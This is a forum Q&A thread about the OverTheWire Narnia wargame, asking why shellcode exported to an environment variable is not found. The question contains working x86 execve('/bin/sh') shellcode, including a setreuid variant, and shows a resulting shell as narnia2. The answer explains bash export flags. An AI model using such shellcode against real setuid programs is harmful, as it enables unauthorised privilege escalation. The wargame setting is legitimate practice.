Exporting shellcode to environment variable doesn't work as expected

Question

(This is a question regarding a challenge in a wargame on overthewire.org called Narnia similar to Shellcode does not execute as the owner )

When exporting shellcode to EGG environment variable

export EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80')"`

/narnia/narnia1
Give me something to execute at the env-variable EGG

it seems that EGG is not found despite its content seems to be correct as this hex dump suggest.

narnia1@gibson:~$ printf %s "$EGG" | hexdump -Cv
00000000  31 c0 50 68 2f 2f 73 68  68 2f 62 69 6e 89 e3 50  |1.Ph//shh/bin..P|
00000010  53 89 e1 b0 0b cd 80                              |S......|
00000017

On the other side executing directly this

narnia1@gibson:~$ EGG=`python3 -c "import sys; sys.stdout.buffer.write(b'\x6a\x31\x58\x31\xd2\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x89\xd1\xcd\x80')"` /narnia/narnia1
Trying to execute EGG!
$ whoami
narnia2

give me access to a shell as narnia2.

I don't understand why such a behavior.

Any idea?

Answer 1

In order to pass a variable to the next program, it must be marked for export, or provided directly before the command line (what you do in the second case).

The syntax export VAR=<value> both sets the value and marks it for export. Really old shells would require two steps (VAR=<value>; export VAR), but I doubt it is the case here. I suspect something (in PROMPT_COMMAND, maybe) is unmarking the variable for export (declare +x EGG).

You can check if the variable is being exported by running env (e.g. env | grep EGG)

And the actual flags by using declare -p:

$ declare -p EGG # The variable will not be exported
declare -- EGG="..."

$ declare -p EGG # The variable WILL be exported
declare -x EGG="..."

PS: declare is a bash builtin, I am assuming it uses bash. Other shells do things slightly differently. There are also other types of variables (such as indexed and associative arrays) that are not detailed here.